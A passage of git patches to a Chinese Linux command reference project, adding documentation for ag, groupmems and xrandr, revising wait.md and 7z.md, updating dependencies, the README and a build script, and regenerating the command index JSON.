200, current 3200 x 1080, maximum 8192 x 8192 +VGA-1 disconnected (normal left inverted right x axis y axis) +HDMI-1 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 531mm x 299mm + 1920x1080 59.93 + 60.00* 50.00 59.94 + 1920x1080i 60.00 50.00 59.94 + 1680x1050 59.88 +… +``` + +克隆屏幕 + +```shell +xrandr --output HDMI-1 --auto +``` + +多显示器关闭不需要的 + +```shell +xrandr --output HDMI-1 --off --output HDMI-2 --auto +``` + +指定分辨率和刷新率 + +```shell +xrandr --output HDMI-1 --mode 1920x1080 --rate 60 +``` + +VGA1位于HDMI1左侧，均使用最佳分辨率，分屏显示 + +```shell +xrandr --output VGA1 --auto --output HDMI1 --auto --right-of VGA1 +``` \ No newline at end of file From e6788747c674e21c890570f591669d73b35707cb Mon Sep 17 00:00:00 2001 From: lavaicer <52038323+lavaicer@users.noreply.github.com> Date: Sun, 11 Sep 2022 19:13:21 +0800 Subject: [PATCH 023/570] add ag.md (#420) --- command/ag.md | 108 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 command/ag.md diff --git a/command/ag.md b/command/ag.md new file mode 100644 index 00000000000..0471b3e3d11 --- /dev/null +++ b/command/ag.md @@ -0,0 +1,108 @@ +ag +=== + +ack 的升级版，C语言编写，更快更人性化 + +## 补充说明 + +**ag命令** 它比ack快一个数量级。它会忽略 .gitignore 和 .hgignore 中的文件模式。如果源代码库中有您不想搜索的文件，只需将它们的模式添加到 .ignore 文件即可。命令名称比 ack 短 33%，并且所有键都在 home 行！ +[Github-参考链接](https://github.com/ggreer/the_silver_searcher) + +### 语法 + +```shell +ag [options] pattern [path ...] +ag [可选项] 匹配模式 [路径...] +``` + +### 选项 + +```shell +Output Options: + --ackmate 以 AckMate-parseable 的格式显示结果 + -A --after [LINES] 显示匹配行之后的行（默认2行） + -B --before [LINES] 显示匹配行之前的行（默认2行） + --[no]break 不同文件中匹配到的内容新建一行显示（默认开启） + -c --count 只显示每个文件中匹配到的数量 + (This often differs from the number of matching lines) + --[no]color Print color codes in results (Enabled by default) + --color-line-number Color codes for line numbers (Default: 1;33) + --color-match Color codes for result match numbers (Default: 30;43) + --color-path Color codes for path names (Default: 1;32) + --column Print column numbers in results + --[no]filename Print file names (Enabled unless searching a single file) + -H --[no]heading 在每个文件匹配前输出文件名（默认开启） + -C --context [LINES] 显示匹配行上下两行（默认2行） + --[no]group Same as --[no]break --[no]heading + -g --filename-pattern PATTERN + Print filenames matching PATTERN + -l --files-with-matches 显示包含匹配的文件名（不显示匹配的行） + -L --files-without-matches 只显示不包含匹配项的文件名 + --print-all-files Print headings for all files searched, even those that + don\'t contain matches + --[no]numbers Print line numbers. Default is to omit line numbers + when searching streams + -o --only-matching 只输出每行匹配的部分 + --print-long-lines Print matches on very long lines (Default: >2k characters) + --passthrough When searching a stream, print all lines even if they + don\'t match + --silent Suppress all log messages, including errors + --stats Print stats (files scanned, time taken, etc.) + --stats-only Print stats and nothing else. + (Same as --count when searching a single file) + --vimgrep Print results like vim\'s :vimgrep /pattern/g would + (it reports every match on the line) + -0 --null --print0 Separate filenames with null (for 'xargs -0') + +Search Options: + -a --all-types 搜索所有文件（包括隐藏文件） + -D --debug Ridiculous debugging (probably not useful) + --depth NUM 目录搜索最大深度（默认25） + -f --follow 跟随链接进行搜索 + -F --fixed-strings Alias for --literal for compatibility with grep + -G --file-search-regex 根据正则匹配搜索指定类型的文件 + --hidden Search hidden files (obeys .*ignore files) + -i --ignore-case Match case insensitively + --ignore PATTERN Ignore files/directories matching PATTERN + (literal file/directory names also allowed) + --ignore-dir NAME Alias for --ignore for compatibility with ack. + -m --max-count NUM 在一个文件中最大匹配的数量(默认: 10,000) + --one-device 不跟随其他设备的链接搜索 + -p --path-to-ignore STRING + Use .ignore file at STRING + -Q --literal Don\'t parse PATTERN as a regular expression + -s --case-sensitive Match case sensitively + -S --smart-case Match case insensitively unless PATTERN contains + uppercase characters (Enabled by default) + --search-binary 搜索二进制文件 + -t --all-text 搜索所有文本文件（不包括隐藏文件） + -u --unrestricted 搜索所有文件 (忽略 .ignore, .gitignore, etc.; + 搜索二进制和隐藏文件) + -U --skip-vcs-ignores Ignore VCS ignore files + (.gitignore, .hgignore; still obey .ignore) + -v --invert-match 反向匹配 + -w --word-regexp 只匹配整个单词 + -W --width NUM Truncate match lines after NUM characters + -z --search-zip 搜索压缩文件中的内容 + +File Types: +The search can be restricted to certain types of files. Example: + ag --html needle 结果输出到指定类型文件 + - Searches for 'needle' in files with suffix .htm, .html, .shtml or .xhtml. + +For a list of supported file types run: + ag --list-file-types 列出支持的文件类型 +``` + +### 实例 + +列出当前目录下包含 `npm` 的文件 + +```shell +➜ vue-project ag npm ./ +README.md +16:npm install +22:npm run dev +28:npm run build +``` + From 542a8e9466c2c18fa2a4eeb692043a79dbfd0ca7 Mon Sep 17 00:00:00 2001 From: lavaicer <52038323+lavaicer@users.noreply.github.com> Date: Mon, 12 Sep 2022 15:03:49 +0800 Subject: [PATCH 024/570] update 7z.md (#421) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * add xrandr.md * add ag.md * Update ag.md * 统一格式,方便脚本处理 7z.md --- command/7z.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/command/7z.md b/command/7z.md index e20a42cd038..d466abe0e43 100644 --- a/command/7z.md +++ b/command/7z.md @@ -3,8 +3,6 @@ 拥有极高压缩比的开源压缩软件。 -用 7-Zip 解压过：zip、iso、7z压缩文件。 - ## 安装 在 Linux 中输入以下命令安装 7-Zip。 From edcc1c41ffdeba4592be463dc7e553ea1624250e Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 12 Sep 2022 15:04:16 +0800 Subject: [PATCH 025/570] chore(deps): update dependency markdown-to-html-cli to ~3.5.0 (#415) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 8ad295813b5..8853c3087c8 100644 --- a/package.json +++ b/package.json @@ -31,7 +31,7 @@ "ejs": "~3.1.6", "compressing": "^1.6.2", "fs-extra": "~10.1.0", - "markdown-to-html-cli": "~3.4.1", + "markdown-to-html-cli": "~3.5.0", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", "stylus": "~0.59.0", From f34e08f5effce8e8bd72f5b4628b0421d0edbf93 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 12 Sep 2022 15:21:33 +0800 Subject: [PATCH 026/570] chore(deps): update dependency uglify-js to ~3.17.0 (#401) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 8853c3087c8..94419b1f722 100644 --- a/package.json +++ b/package.json @@ -35,7 +35,7 @@ "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", "stylus": "~0.59.0", - "uglify-js": "~3.16.0" + "uglify-js": "~3.17.0" }, "engines": { "node": ">=16.0.0" From a96946cfde922c199c2ab9e42dc5e5a89dc74fbb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 14 Sep 2022 16:56:51 +0800 Subject: [PATCH 027/570] doc: Update README.md (#422) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 5f12db0a61a..719b586a54c 100644 --- a/README.md +++ b/README.md @@ -37,6 +37,7 @@ **推荐使用的镜像 web 版本** +[**`qq.wdev.cn`**](https://qq.wdev.cn) [**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) **其它 web 版本** From 11b13900649d28746536e412c621ee19a2bb3896 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 14 Sep 2022 17:01:08 +0800 Subject: [PATCH 028/570] doc: Update README.md --- README.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 719b586a54c..52ca5f882e3 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ [Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) | [Docker](#docker) -### Web 版本 +## Web 版本 [Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) @@ -44,13 +44,13 @@ [`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/), [`luojianjun.cn`](https://luojianjun.cn/linux-command/) -### 微信小程序版本 +## 微信小程序版本 微信小程序版本，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260)。 -### Chrome 插件 +## Chrome 插件 可在[源码仓库](https://github.com/jaywcjlove/oscnews)预览效果，[Github下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者[开源中国下载 crx 文件安装](https://gitee.com/jaywcjlove/oscnews/releases) 也可通过 Chrome Web Store 下载： @@ -63,7 +63,7 @@
-### Raycast 版本 +## Raycast 版本 [Raycast 版本安装](https://www.raycast.com/jaywcjlove/linux-command)， ([**#338**](https://github.com/jaywcjlove/linux-command/issues/338))下图是界面效果： @@ -81,7 +81,7 @@ -### Alfred 版本 +## Alfred 版本 [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)， 下图是界面效果。 @@ -92,7 +92,7 @@ -### Dash 版本 +## Dash 版本 由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件解压，点击安装即可。 @@ -104,7 +104,7 @@ -### Android 版本 +## Android 版本 [Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases)， 下图是界面效果。 @@ -117,7 +117,7 @@ -### 命令行工具 +## 命令行工具 - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 - [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 From 2a62de95bdfbb75cc2e291a60ed831acc0433a14 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 27 Sep 2022 23:28:16 +0800 Subject: [PATCH 029/570] add `groupmems.md`. (#424) --- command/groupmems.md | 111 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 command/groupmems.md diff --git a/command/groupmems.md b/command/groupmems.md new file mode 100644 index 00000000000..49853af1e95 --- /dev/null +++ b/command/groupmems.md @@ -0,0 +1,111 @@ +groupmems +=== + +管理用户主要组的成员 + +## 补充说明 + +`groupmems` 命令允许用户管理他/她自己的组成员列表，而不需要超级用户权限。`groupmems` 实用程序适用于将其用户配置为以他们自己的名义主组（即来宾/来宾）的系统。 + +只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。 + +### 语法 + +```shell +groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p +``` + +### 选项 + +```bash +-a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在，并且该组在 /etc/gshadow 文件中没有条目，则将创建一个新条目。 + +-d, --delete user_name +# 从组成员列表中删除用户。 +# 如果 /etc/gshadow 文件存在，用户将从组的成员和管理员列表中删除。 +# 如果 /etc/gshadow 文件存在，并且该组在 /etc/gshadow 文件中没有条目，则将创建一个新条目。 + +-g, --group group_name # 超级用户可以指定要修改的组成员列表。 +-l, --list # 列出组成员列表。 +-p, --purge # 从组成员列表中清除所有用户。 +# 如果 /etc/gshadow 文件存在，并且该组在 /etc/gshadow 文件中没有条目，则将创建一个新条目。 +``` + +## 配置 + +`/etc/login.defs` 中的以下配置变量会更改此工具的行为： + +```shell +MAX_MEMBERS_PER_GROUP (number) +``` + +每个组条目的最大成员数。 当达到最大值时，在 `/etc/group` 中启动一个新的组条目（行）（具有相同的名称、相同的密码和相同的 GID）。 + +默认值为 0，表示组中的成员数量没有限制。 + +此功能（拆分组）允许限制组文件中的行长度。 这有助于确保 NIS 组的行不超过 1024 个字符。 + +如果你需要强制执行这样的限制，你可以使用 25。 + +注意：并非所有工具都支持拆分组（即使在 Shadow 工具包中）。 除非你真的需要它，否则你不应该使用这个变量。 + +## 例子 + +groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中，以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。 + +```shell +$ groupadd -r groups +$ chmod 2770 groupmems + +$ chown root.groups groupmems +$ groupmems -g groups -a gk4 +``` + +让我们创建一个新用户和一个新组并验证结果： + +```shell +$ useradd student +$ passwd student +$ groupadd staff +``` + +使用户 student 成为组人员的成员： + +```shell +$ groupmems -g staff -a student +$ groupmems -g staff -l +``` + +将用户添加到组： + +```shell +$ groupmems -a mike -g SUPPORT +$ groupmems --add mike -g SUPPORT +``` + +从组中删除/移除用户： + +```shell +$ groupmems -d mike SUPPORT -g SUPPORT +$ groupmems --delete mike SUPPORT -g SUPPORT +``` + +更改组名称： + +```shell +$ groupmems -g SUPPORT +``` + +从组中删除用户： + +```shell +$ groupmems -p -g SUPPORT +$ groupmems --purge -g SUPPORT +``` + +要列出组的成员： + +```shell +$ groupmems -l -g SUPPORT +$ groupmems --list -g SUPPORT +``` \ No newline at end of file From e9cac426da0e0dd7fefcb292378778063f717226 Mon Sep 17 00:00:00 2001 From: chen <39209748+121812@users.noreply.github.com> Date: Fri, 30 Sep 2022 15:09:23 +0800 Subject: [PATCH 030/570] Update wait.md (#425) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修正错误，补全实例 --- command/wait.md | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/command/wait.md b/command/wait.md index 7b65af32db7..2d1796719e2 100644 --- a/command/wait.md +++ b/command/wait.md @@ -21,15 +21,22 @@ wait(参数) 使用命令wait等待作业号为1的作业完成后再返回，输入如下命令： +运行一个sleep进程 ```shell -wait %1 #等待作业号为3的作业完成 +sleep 10s & +[1] 27156 ``` - -执行上面的指令后，将输出指定作业号的指令，如下所示： - +指定作业号 ```shell -find / -name password +wait %1 #等待作业号为1的作业完成 +[1]+ Done sleep 10s +``` +指定进程号 +```shell +wait 27156 +[1]+ Done sleep 10s ``` +输出当前存在作业号的指令，如下所示： - +[jobs](https://wangchujiang.com/linux-command/c/jobs.html) From 250bdb2d5b188e356b4ac9c8508b25058320a71c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 30 Sep 2022 15:13:32 +0800 Subject: [PATCH 031/570] doc: update `wait.md` (#425). --- command/wait.md | 2 +- scripts/build.mjs | 10 +++++++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/command/wait.md b/command/wait.md index 2d1796719e2..4066d93e5ba 100644 --- a/command/wait.md +++ b/command/wait.md @@ -39,4 +39,4 @@ wait 27156 输出当前存在作业号的指令，如下所示： -[jobs](https://wangchujiang.com/linux-command/c/jobs.html) +[jobs](./jobs.md) diff --git a/scripts/build.mjs b/scripts/build.mjs index f7c13b392e5..35ef657e1cd 100644 --- a/scripts/build.mjs +++ b/scripts/build.mjs @@ -217,7 +217,15 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); } function markdownToHTML(str) { - return create({ markdown: str, document: undefined, 'dark-mode': false }); + return create({ + rewrite: (node) => { + if (node.type === 'element' && node.properties?.href && /.md/.test(node.properties.href) && !/^(https?:\/\/)/.test(node.properties.href)) { + let href = node.properties.href; + node.properties.href = href.replace(/([^\.\/\\]+)\.(md|markdown)/gi, '$1.html'); + } + }, + markdown: str, document: undefined, 'dark-mode': false + }); } /** From 5f3845f7fe16ce72c2808d301be0457a8ae745f0 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 30 Sep 2022 15:15:54 +0800 Subject: [PATCH 032/570] doc: format markdown code. --- command/wait.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/command/wait.md b/command/wait.md index 4066d93e5ba..84c14ebf3e5 100644 --- a/command/wait.md +++ b/command/wait.md @@ -22,16 +22,21 @@ wait(参数) 使用命令wait等待作业号为1的作业完成后再返回，输入如下命令： 运行一个sleep进程 + ```shell sleep 10s & [1] 27156 ``` + 指定作业号 + ```shell wait %1 #等待作业号为1的作业完成 [1]+ Done sleep 10s ``` + 指定进程号 + ```shell wait 27156 [1]+ Done sleep 10s From 3ae594b54c40c65b843a00f00fd54013f1af78a2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 30 Sep 2022 15:30:42 +0800 Subject: [PATCH 033/570] released v1.12.0 --- dist/data.json | 17 ++++++++++++++++- dist/data.min.json | 2 +- package.json | 2 +- 3 files changed, 18 insertions(+), 3 deletions(-) diff --git a/dist/data.json b/dist/data.json index 2ddbe870d6c..12c1d870beb 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2,7 +2,7 @@ "7z": { "n": "7z", "p": "/7z", - "d": "拥有极高压缩比的开源压缩软件。用 7-Zip 解压过：zip、iso、7z压缩文件。" + "d": "拥有极高压缩比的开源压缩软件。" }, "ab": { "n": "ab", @@ -19,6 +19,11 @@ "p": "/ack", "d": "比grep好用的文本搜索工具" }, + "ag": { + "n": "ag", + "p": "/ag", + "d": "ack 的升级版，C语言编写，更快更人性化" + }, "alias": { "n": "alias", "p": "/alias", @@ -884,6 +889,11 @@ "p": "/groupdel", "d": "用于删除指定的工作组" }, + "groupmems": { + "n": "groupmems", + "p": "/groupmems", + "d": "管理用户主要组的成员" + }, "groupmod": { "n": "groupmod", "p": "/groupmod", @@ -2849,6 +2859,11 @@ "p": "/xlsfonts", "d": "列出X Server使用的字体" }, + "xrandr": { + "n": "xrandr", + "p": "/xrandr", + "d": "X 窗口系统配置管理工具" + }, "xset": { "n": "xset", "p": "/xset", diff --git a/dist/data.min.json b/dist/data.min.json index 2d87ddd015d..cf6329a9057 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。用 7-Zip 解压过：zip、iso、7z压缩文件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 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Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p